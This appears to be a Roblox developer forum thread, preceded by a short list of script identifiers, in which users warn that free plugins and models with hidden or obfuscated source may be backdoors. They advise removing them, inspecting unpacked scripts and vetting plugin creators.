1337
game
GetService
RunService
IsStudio
script
Destroy
print
gamer
Players
1337
1337
By the sounds of it you’ve taken a bunch of scripts / models made openly available.
I recommend never using them and scanning them completely.
The name builder X when searched is linked to a group of exploiters.
As for Luraph Ive seen a bunch of questionable posts about it. Its definatly a backdoor. Remove it ASAP.
Also the question is, how many plugins / models have you taken. And are multiple of them by the same person claiming one requires the other? It is very important you take this very seriously and it is dealt with quickly. Stop all works on that place and any other place that has the same plugins / scripts until you can identify and remove them. Avoid pressing run and even hovering over the plugins until its resolved.
For future reference, dont use other peoples plugins without absolute certainty. Ive got a few plugins e.g character Motor6 Builder which I know comes from a good place and good people with tons of users that have no problems. Other than that I will completely avoid plugins because they can run within studio without having to press play.
Should you need to encrypt text make your own encryption for a few good reasons:
- Exploiters can get the same thing you did
- You do not know what it contains
- You can make a better one tailored to your uses.
It could be taking any kind of information. If you have http enabled it will pass on your info through http. It could also be using global datastores to do this.
Until you read through the scripts you wont know what they are actually taking. They could be copying your game models and guis. As you cannot access the sources script you are kind of to blame for not checking it out completely before pressing run.
When using other peoples scripts, if they are hiding the source, remove it immediately. Its not worth the potential risks.
You can unpack models. I recommend doing this and then checking the whole thing for any scripts
This topic is long dead, I believe it’s rather silly to be continuing bumping it.
Agreed, someone else bumped it back up so it was up on recent, as there wasn’t really a clear and detailed answer I felt it was needed just to clear it up for others who might use other players scripts or have the same issue.
Remove all of your plugins then install required ones and look at their creators, I mean when you go to their profile and check for stuff you are %100 gonna see if its the real person or not then if your sure its original use the plugin. If it happens again I’d recommend to delete all of your plugins and not use plugins anymore.